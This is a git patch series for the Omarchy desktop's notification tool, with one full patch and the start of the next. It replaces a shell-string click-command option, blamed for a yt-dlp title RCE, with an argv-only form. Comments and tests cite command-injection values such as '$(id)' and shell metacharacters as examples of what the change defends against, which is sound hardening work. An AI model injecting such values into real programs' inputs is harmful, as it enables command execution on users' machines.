[PATCH 3/9] Remove --exec entirely; --exec-arg is the only click-command form A free-form shell-string --exec sitting next to the safe --exec-arg is a standing invitation for the next caller to interpolate untrusted data and reintroduce the RCE. Remove it: omarchy-notification-send --exec now errors and points at --exec-arg, and the shell drops the omarchy-exec string hint and its bash -lc execution path, leaving only the argv path. Migrate the remaining string callers (the first-run invitation hooks, wifi and welcome prompts) to --exec-arg, and update their notification mocks. Trim the verbose security comments added along the way. --- bin/omarchy-chromium-ytdlp-host | 7 ++-- bin/omarchy-crash-watch | 7 ++-- bin/omarchy-notification-send | 40 ++++++------------ docs/notifications.md | 32 +++++++------- install/user/first-run/install-voxtype.hook | 2 +- install/user/first-run/setup-agent.hook | 2 +- install/user/first-run/setup-fingerprint.hook | 2 +- install/user/first-run/welcome.sh | 2 +- install/user/first-run/wifi.sh | 4 +- shell/Commons/Util.qml | 14 +++---- .../notifications/NotificationLogic.js | 42 ++++--------------- shell/plugins/notifications/Service.qml | 31 ++++---------- test/shell.d/agent-invitation-test.sh | 4 +- test/shell.d/fingerprint-invitation-test.sh | 4 +- test/shell.d/notification-send-test.sh | 27 +++++------- test/shell.d/notifications-test.sh | 31 ++++++-------- test/shell.d/voxtype-invitation-test.sh | 4 +- 17 files changed, 97 insertions(+), 158 deletions(-) diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index fab6ce01..9e4a19aa 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -27,7 +27,7 @@ valid_url() { # A printed path is only usable if it is a regular file inside DOWNLOAD_DIR. # Forged records (leading-dash mpv options, paths with control chars, or -# anything that escaped the download directory) must not reach --exec. +# anything that escaped the download directory) must not reach the click command. resolve_download_file() { local candidate=$1 file_real dir_real @@ -70,9 +70,8 @@ title_from_file() { fi } -# The click action is passed to the shell as an argv vector (--exec-arg), so the -# path is one literal argument and never reaches a shell. `--` still guards mpv -# itself against parsing a leading-dash filename as an option. +# Click action as argv (--exec-arg): the path is one literal argument, and `--` +# keeps mpv from parsing a leading-dash filename as an option. playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) # Drive the Quickshell OSD — a single overlay that updates in place (like the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index d3391af6..582564a0 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -33,10 +33,9 @@ announce() { omarchy-notification-wait || return 1 # --exec-arg rather than a libnotify action: the shell runs clicks from its own - # omarchy-exec-argv hint and never emits ActionInvoked. Keeps the default - # "omarchy-action" app name too, the only one shouldBypassDnd() lets through. - # The argv form carries the crash details as literal arguments, so a hostile - # process name can't be reparsed as a command when the toast is clicked. + # hint and never emits ActionInvoked. Keeps the default "omarchy-action" app + # name, the only one shouldBypassDnd() lets through. Crash details ride as + # literal argv, so a hostile process name can't be reparsed as a command. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 84182472..d3b3977f 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -12,7 +12,6 @@ glyph= urgency="low" app_name="omarchy-action" image= -exec_command= exec_args=() args=() parsed_option_args=0 @@ -56,23 +55,17 @@ parse_omarchy_option() { return 0 ;; --exec) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - exec_command=$2 - parsed_option_args=2 - return 0 + # Removed: a free-form shell string is safe only if the caller quotes every + # value, and its existence invites the next caller to skip that. Use --exec-arg. + echo "--exec is no longer supported: pass each argument with --exec-arg (e.g. --exec-arg mpv --exec-arg -- --exec-arg \"\$file\")" >&2 + exit 1 ;; --exec-arg) if (($# < 2)); then echo "Missing value for $1" >&2 exit 1 fi - # Each --exec-arg contributes one literal argument to the click command. - # The shell runs the resulting argv vector directly (no shell), so callers - # pass untrusted data as its own --exec-arg rather than quoting it into a - # command string. Value is taken verbatim, even when it starts with "-". + # One literal argument of the click command, taken verbatim (even a "-value"). exec_args+=("$2") parsed_option_args=2 return 0 @@ -91,7 +84,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" exit 1 fi @@ -123,22 +116,15 @@ if [[ -n $image ]]; then args+=("--hint=string:image-path:$image") fi -# The shell runs the click command itself, from a copy it keeps alongside the -# on-screen popup. A libnotify action would instead keep this process blocked -# until the click, and die unanswered whenever the shell restarts underneath it. -# -# --exec-arg builds an argv vector the shell runs directly, so a value carrying -# untrusted data is only ever one argument and never reaches a shell. It wins -# over the legacy free-form --exec string, which is run through `bash -lc` and -# is only safe when the caller quoted every interpolated value itself. +# The click command travels with the popup as an argv hint the shell runs +# itself, so restored toasts stay clickable and senders don't block on a +# libnotify action (which dies when the shell restarts). --exec-arg is the only +# form: no free-form shell string to interpolate into unsafely. if ((${#exec_args[@]} > 0)); then - # NUL-delimit the args into jq so every byte survives as data — jq's own - # --args would eat a bare "--", and a title with a newline must stay one - # element, not split the vector. + # NUL-delimit into jq so every byte survives as data: jq's own --args would eat + # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") -elif [[ -n $exec_command ]]; then - args+=("--hint=string:omarchy-exec:$exec_command") fi if [[ -n $description ]]; then diff --git a/docs/notifications.md b/docs/notifications.md index e4b7da26..ee06d509 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,8 +69,7 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv the shell runs without a shell | -| `--exec` | `--hint=string:omarchy-exec:` | legacy free-form shell command the card runs when clicked (deprecated — see below) | +| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv (see below). This is the only click-command mechanism | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -91,10 +90,10 @@ immediately. For third-party clients the click falls back to the libnotify window by class via `omarchy-hyprland-focus-app` — chat apps rarely register an action and just expect click-to-jump. -### Click commands must be argv, not shell strings +### Click commands are argv, never shell strings -Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one -literal argument; the shell runs the resulting vector through +A click command is built from discrete `--exec-arg` arguments. Each `--exec-arg` +contributes one literal argument; the shell runs the resulting vector through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as **positional parameters** — never interpolated into the script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying @@ -102,17 +101,20 @@ data an attacker controls — a downloaded video's title, a received filename, a crashed process's name — is only ever a single argument and can never be reparsed as a command. The login shell keeps the PATH and session environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is -the parameterized form: pass untrusted data as its own `--exec-arg` rather than -quoting it into a string. +the parameterized form: pass untrusted data as its own `--exec-arg`. -`--exec` is the legacy free-form variant, run through `bash -lc`. It is safe -only when the caller shell-quoted every interpolated value perfectly — the same -trap as string-concatenated SQL, and the exact shape of the yt-dlp title RCE -that motivated the argv form. It is retained for compatibility and honored only -from toasts whose `app_name` is Omarchy's own `omarchy-action`; new senders must -use `--exec-arg`. The shell fails closed on a malformed argv hint (it must be a -JSON array of strings whose program is present and not a leading-dash option) -rather than letting it fall through to a shell. +There is deliberately **no** free-form shell-string variant. An earlier `--exec` +flag took a whole command as one string run through `bash -lc`; it was safe only +when the caller shell-quoted every interpolated value perfectly — the same trap +as string-concatenated SQL, and the exact shape of the yt-dlp title RCE. Even +kept "for compatibility" it was a standing invitation for the next caller to +skip the quoting and reintroduce the hole, so it was removed outright: +`omarchy-notification-send --exec` now errors and points at `--exec-arg`. The +shell fails closed on a malformed argv hint (it must be a JSON array of strings +whose program is present and not a leading-dash option) rather than running +anything it can't validate. A caller can still deliberately name a shell as the +program (`--exec-arg sh --exec-arg -c …`), but that is an obvious, reviewable +red flag rather than the default shape. ## Helper commands diff --git a/install/user/first-run/install-voxtype.hook b/install/user/first-run/install-voxtype.hook index eb180f81..554fd4be 100644 --- a/install/user/first-run/install-voxtype.hook +++ b/install/user/first-run/install-voxtype.hook @@ -5,5 +5,5 @@ set -e if omarchy-done ensure voxtype-install-invitation; then omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ "Click to install voice dictation for Omarchy." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-voxtype-install fi diff --git a/install/user/first-run/setup-agent.hook b/install/user/first-run/setup-agent.hook index d69c710c..f5427c5e 100644 --- a/install/user/first-run/setup-agent.hook +++ b/install/user/first-run/setup-agent.hook @@ -7,5 +7,5 @@ set -e if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ "Let your favorite agent help with Omarchy." \ - --exec "omarchy menu summon setup.default.agent" + --exec-arg omarchy --exec-arg menu --exec-arg summon --exec-arg setup.default.agent fi diff --git a/install/user/first-run/setup-fingerprint.hook b/install/user/first-run/setup-fingerprint.hook index 1ff17b5d..075048d2 100644 --- a/install/user/first-run/setup-fingerprint.hook +++ b/install/user/first-run/setup-fingerprint.hook @@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && omarchy-done ensure fingerprint-setup-invitation; then omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ "Enable sudo and unlocking with your fingerprint." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-setup-security-fingerprint fi diff --git a/install/user/first-run/welcome.sh b/install/user/first-run/welcome.sh index 22e6629e..3e855cd8 100644 --- a/install/user/first-run/welcome.sh +++ b/install/user/first-run/welcome.sh @@ -2,4 +2,4 @@ # elides past three lines. omarchy-notification-send -u critical -g  "Learn Keybindings" \ $'Super + K for cheatsheet.\nSuper + Space for Omarchy Menu.' \ - --exec omarchy-menu-keybindings + --exec-arg omarchy-menu-keybindings diff --git a/install/user/first-run/wifi.sh b/install/user/first-run/wifi.sh index c6d203dd..c16cc30f 100644 --- a/install/user/first-run/wifi.sh +++ b/install/user/first-run/wifi.sh @@ -1,11 +1,11 @@ notify_update() { omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-update" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-update } notify_wifi() { omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \ - --exec "omarchy-shell shell toggle omarchy.network" + --exec-arg omarchy-shell --exec-arg shell --exec-arg toggle --exec-arg omarchy.network } announce_network() { diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index e3553ae8..ca265acd 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,15 +54,11 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } - // Run an argv vector safely: the script text is the constant `exec "$@"`, so - // the arguments only ever land in bash's positional parameters, which it - // expands without re-tokenizing or re-evaluating — a value carrying - // attacker-controlled data ($(id), a filename, a title) stays one literal - // argument and can never turn into a command. The login shell (-l) is what - // makes this a drop-in for execDetached: click actions launch GUI apps - // (tensaku, mpv, xdg-open) that need the same PATH and session environment the - // login shell set up. Prefer this over execDetached for any command assembled - // from untrusted input. + // Run an argv vector without a shell interpreting it: the constant `exec "$@"` + // means the args only ever land in positional parameters, which bash expands + // without re-tokenizing — so untrusted data ($(id), a filename) stays literal. + // The login shell (-l) keeps the PATH/session env GUI targets (tensaku, mpv, + // xdg-open) need. Prefer this over execDetached for anything built from input. function execArgv(argv) { Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv)) } diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 727940cb..a283bc97 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -57,39 +57,18 @@ function glyphFromHints(hints) { return stringHint(hints, "omarchy-glyph") } -// Shell command to run when the card is clicked, sent by -// omarchy-notification-send --exec. Carrying the action as data means it -// travels with the popup through the persistence files, so a toast restored -// after a shell restart clicks through exactly like a live one. A libnotify -// action can't: its sender is still waiting on an id from a server generation -// that no longer exists. -// -// This is a free-form shell string run through `bash -lc`, so it is safe only -// when every value interpolated into it was shell-quoted perfectly. It is kept -// for compatibility and honored only from Omarchy's own trusted toasts (see -// Service.invokePopupDefault); new senders use --exec-arg / the argv form -// below, which never reaches a shell. -function execFromHints(hints) { - return stringHint(hints, "omarchy-exec") -} - -// The click action as an argv vector, sent by omarchy-notification-send -// --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. -// The shell runs it via Util.execArgv, which passes the arguments as bash -// positional parameters rather than interpolating them, so a value that an -// attacker controls — a video title, a filename, a URL — is only ever one -// argument and can never be reparsed as a command. This is the parameterized -// form: the "prepared statement" to execFromHints's string concatenation. +// The click action: a JSON argv string from omarchy-notification-send +// --exec-arg. Carried as data so a toast restored after a shell restart stays +// clickable (a libnotify action can't — its sender is gone). Run via +// Util.execArgv as bash positional parameters, never a shell string, so +// attacker-controlled values (a title, a filename) can't become commands. function execArgvFromHints(hints) { return stringHint(hints, "omarchy-exec-argv") } -// Validate a persisted omarchy-exec-argv value into an argv the shell may run, -// or null for anything that is not one. A malformed or hostile hint must fail -// closed here rather than fall through to a shell: we require a JSON array of -// strings, non-empty, whose first element (the program) is present and does not -// start with "-" (which would let a forged record smuggle in a leading-dash -// option in the program slot). +// Validate a persisted omarchy-exec-argv into a runnable argv, or null. Fails +// closed so a malformed/hostile hint never reaches a shell: must be a non-empty +// JSON array of strings whose program is present and not a leading-dash option. function parseExecArgv(value) { var text = String(value || "") if (!text) return null @@ -127,7 +106,6 @@ function snapshotOf(notification, timestamp) { body: n.body || "", image: n.image || "", glyph: glyphFromHints(n.hints), - exec: execFromHints(n.hints), execArgv: execArgvFromHints(n.hints), urgency: n.urgency, expireTimeout: expireTimeout, @@ -137,7 +115,7 @@ function snapshotOf(notification, timestamp) { // Everything the popup card draws, and therefore everything an in-place // update has to write through to the row and its file. -var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "execArgv", "urgency", "expireTimeout"] +var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "execArgv", "urgency", "expireTimeout"] function popupRoles() { return POPUP_ROLES @@ -179,7 +157,6 @@ function historyEntry(value, normalUrgency) { body: e.body || "", image: e.image || "", glyph: e.glyph || "", - exec: e.exec || "", execArgv: e.execArgv || "", urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency, expireTimeout: 0, @@ -390,7 +367,6 @@ if (typeof module !== "undefined") { isEphemeralApp: isEphemeralApp, stringHint: stringHint, glyphFromHints: glyphFromHints, - execFromHints: execFromHints, execArgvFromHints: execArgvFromHints, parseExecArgv: parseExecArgv, shouldRenderCompactGlyph: shouldRenderCompactGlyph, diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 794c4d9c..0122310e 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -353,37 +353,22 @@ Item { } // Run the popup's click action, then dismiss. Omarchy's own toasts carry the - // action as a command in the `exec` role (see execFromHints), which the - // persistence files preserve, so restored toasts stay clickable. Third-party - // clients register a libnotify action under the canonical identifier - // "default" instead; that one only works while the sender is still live. + // action as an argv vector in the `execArgv` role (see execArgvFromHints), + // which the persistence files preserve, so restored toasts stay clickable. + // Third-party clients register a libnotify action under the canonical + // identifier "default" instead; that one only works while the sender is live. function invokePopupDefault(index) { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) - // Preferred path: an argv vector whose arguments are passed as bash - // positional parameters (never interpolated into a command), so data an - // attacker controls (a video title, a filename) is only ever an argument and - // can never be reparsed as a command. Detached so it outlives the shell, - // which the installer toasts depend on: they restart it as their first act. + // Run the argv (via Util.execArgv, no shell interpretation). Detached so it + // outlives the shell, which installer toasts depend on: they restart it. var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") if (argv) { Util.execArgv(argv) dismissPopup(index) return } - - // Legacy free-form shell exec (deprecated). It runs through `bash -lc`, so - // it is only as safe as the sender's quoting — honored solely from - // Omarchy's own trusted toasts. app_name is spoofable, so this is a - // compatibility courtesy, not a security boundary; new callers use the argv - // form above. - var command = entry ? String(entry.exec || "") : "" - if (command && String(entry.app || "") === "omarchy-action") { - Util.execDetached(command) - dismissPopup(index) - return - } // Restored rows have no live actions, and looking up liveRefs by their // old-generation id could fire an unrelated fresh notification's action. var ref = entry && !isRestoredRow(entry) ? liveRefs[entry.originalId] : null @@ -681,7 +666,7 @@ Item { body: row.body, image: row.image, glyph: row.glyph || "", - exec: row.exec || "", + execArgv: row.execArgv || "", urgency: row.urgency, timestamp: row.timestamp }, imagesDir).entry) @@ -705,7 +690,7 @@ Item { body: "", image: "", glyph: "󰂚", - exec: "", + execArgv: "", urgency: NotificationUrgency.Low, expireTimeout: 0, timestamp: Date.now() diff --git a/test/shell.d/agent-invitation-test.sh b/test/shell.d/agent-invitation-test.sh index 11de87d9..3cd17745 100644 --- a/test/shell.d/agent-invitation-test.sh +++ b/test/shell.d/agent-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/fingerprint-invitation-test.sh b/test/shell.d/fingerprint-invitation-test.sh index 09e7edd3..d3f5ceaa 100644 --- a/test/shell.d/fingerprint-invitation-test.sh +++ b/test/shell.d/fingerprint-invitation-test.sh @@ -31,10 +31,12 @@ chmod +x "$test_bin/omarchy-hw-fingerprint" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index d93682a4..015ead0d 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -18,7 +18,7 @@ chmod +x "$stub" OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \ - --exec "omarchy-menu-keybindings 'a b'" "Learn Keybindings" "Body" + --exec-arg omarchy-menu-keybindings --exec-arg 'a b' "Learn Keybindings" "Body" mapfile -t args <"$args_file" @@ -28,10 +28,10 @@ mapfile -t args <"$args_file" [[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == "--hint=string:omarchy-exec:omarchy-menu-keybindings 'a b'" ]] || fail "notification wrapper converts exec to hint" +[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts exec args to an argv hint" "${args[6]}" [[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" [[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec options" +pass "notification wrapper supports app, glyph, urgency, image, and exec-arg options" # The shell runs the click command itself, so nothing may block the sender on a # libnotify action round-trip. @@ -44,11 +44,16 @@ OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" pass "notification wrapper omits the exec hint when no command is given" +# The free-form shell-string --exec is gone: its existence let a caller skip +# quoting and reintroduce the RCE, so it is rejected outright in favor of the +# argv-only --exec-arg. +: >"$args_file" if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Headline" --exec 2>/dev/null; then - fail "notification wrapper rejects --exec without a command" + omarchy-notification-send --exec 'anything' "Headline" 2>/dev/null; then + fail "notification wrapper rejects the removed --exec flag" fi -pass "notification wrapper rejects --exec without a command" +grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no exec hint for a rejected --exec" +pass "notification wrapper rejects the removed --exec flag" # --exec-arg builds an argv vector encoded as a JSON array, so shell # metacharacters in a value are carried as data, never as a command. The shell @@ -67,13 +72,3 @@ argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" - -# The argv form is the safe one, so it wins when a caller supplies both. -: >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec 'legacy string' --exec-arg xdg-open --exec-arg /tmp/file \ - "Headline" >/dev/null - -grep -q -- "--hint=string:omarchy-exec-argv:" "$args_file" || fail "notification wrapper emits the argv hint when both exec forms are given" -grep -q -- "--hint=string:omarchy-exec:" "$args_file" && fail "notification wrapper drops the legacy exec string in favor of argv" -pass "notification wrapper prefers the argv exec form over the legacy string" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 32df818e..4a0c7edf 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -385,36 +385,31 @@ assertEqual( 'notifications omit the deadline field until a restore sets it' ) -// A click action carried as a command is the only kind that survives a shell +// The click action (an argv vector) is the only kind that survives a shell // restart: a libnotify action leaves its sender waiting on an id from a server // generation that no longer exists. assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec, - 'omarchy-menu-keybindings', - 'notifications capture the click command from the exec hint' -) -assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec, + notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv, '', - 'notifications leave the click command empty without an exec hint' + 'notifications leave the click command empty without an exec argv hint' ) assertEqual( notifications.popupEntry( - JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)), + JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)), 1 - ).exec, - "mpv '/tmp/a b.mp4'", - 'notifications round-trip the click command through popup files' + ).execArgv, + '["mpv","--","/tmp/a b.mp4"]', + 'notifications round-trip the click argv through popup files' ) assertEqual( - notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec, + notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv, '', 'notifications restore an empty click command for popups without one' ) assertEqual( - notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec, - 'xdg-open /tmp/received', - 'notifications keep the click command on history rows' + notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv, + '["xdg-open","/tmp/received"]', + 'notifications keep the click argv on history rows' ) const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') @@ -559,8 +554,8 @@ assert( 'notifications service delimits every popup file during restore' ) assert( - /var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml), - 'notifications service runs the popup click command itself instead of a libnotify action' + /parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml), + 'notifications service runs the popup click argv itself instead of a libnotify action' ) assert( /function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml), diff --git a/test/shell.d/voxtype-invitation-test.sh b/test/shell.d/voxtype-invitation-test.sh index b3eabb43..d8170613 100644 --- a/test/shell.d/voxtype-invitation-test.sh +++ b/test/shell.d/voxtype-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" From bf2013e6f3470a78324f5b2d68a9de4f655993ca Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 14:26:25 -0400 Subject: [PATCH 4/9] Make --exec take the command as rest-of-line words MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace --exec-arg with an ergonomic --exec that consumes the rest of the line as the click command. The caller's shell tokenizes the words into discrete arguments before the tool sees them, and the shell runs them as positional parameters (never a re-parsed string), so safety is identical to the argv form while the call sites read naturally: `--exec omarchy toggle something`. Crucially the tool never splits a string itself — a single quoted whole-command argument is rejected and points at the unquoted form, because whitespace- splitting a string hands argument boundaries to whoever controls its content (the injection we are avoiding). --exec must come last; migrate every caller. --- bin/omarchy-capture-screenrecording | 2 +- bin/omarchy-capture-screenshot | 2 +- bin/omarchy-chromium-ytdlp-host | 8 +-- bin/omarchy-crash-watch | 9 +-- bin/omarchy-migrate-notify | 2 +- bin/omarchy-notification-send | 58 +++++++++------ bin/omarchy-tailscale-receive | 2 +- docs/notifications.md | 61 +++++++++------- install/user/first-run/install-voxtype.hook | 2 +- install/user/first-run/setup-agent.hook | 2 +- install/user/first-run/setup-fingerprint.hook | 2 +- install/user/first-run/welcome.sh | 2 +- install/user/first-run/wifi.sh | 4 +- .../notifications/NotificationLogic.js | 2 +- test/shell.d/agent-invitation-test.sh | 2 +- test/shell.d/chromium-ytdlp-test.sh | 16 ++--- test/shell.d/fingerprint-invitation-test.sh | 2 +- test/shell.d/migrate-notify-test.sh | 2 +- test/shell.d/notification-send-test.sh | 71 +++++++++++-------- test/shell.d/tailscale-receive-test.sh | 8 +-- test/shell.d/voxtype-invitation-test.sh | 2 +- 21 files changed, 148 insertions(+), 113 deletions(-) diff --git a/bin/omarchy-capture-screenrecording b/bin/omarchy-capture-screenrecording index 314363c0..d57b26fe 100755 --- a/bin/omarchy-capture-screenrecording +++ b/bin/omarchy-capture-screenrecording @@ -228,7 +228,7 @@ stop_screenrecording() { omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \ -t 10000 --image "${preview:-$filename}" \ - --exec-arg mpv --exec-arg -- --exec-arg "$filename" + --exec mpv -- "$filename" # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load -- not the diff --git a/bin/omarchy-capture-screenshot b/bin/omarchy-capture-screenshot index 9dfd56a2..6f7b91bf 100755 --- a/bin/omarchy-capture-screenshot +++ b/bin/omarchy-capture-screenshot @@ -70,7 +70,7 @@ case "$PROCESSING" in # notification outage must not report the capture itself as failed. omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \ --image "$FILEPATH" \ - --exec-arg "$SCREENSHOT_EDITOR" --exec-arg "$FILEPATH" || true + --exec "$SCREENSHOT_EDITOR" "$FILEPATH" || true ;; copy) grim -g "$SELECTION" - | wl-copy --type image/png diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index 9e4a19aa..3911451a 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -70,10 +70,6 @@ title_from_file() { fi } -# Click action as argv (--exec-arg): the path is one literal argument, and `--` -# keeps mpv from parsing a leading-dash filename as an option. -playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) - # Drive the 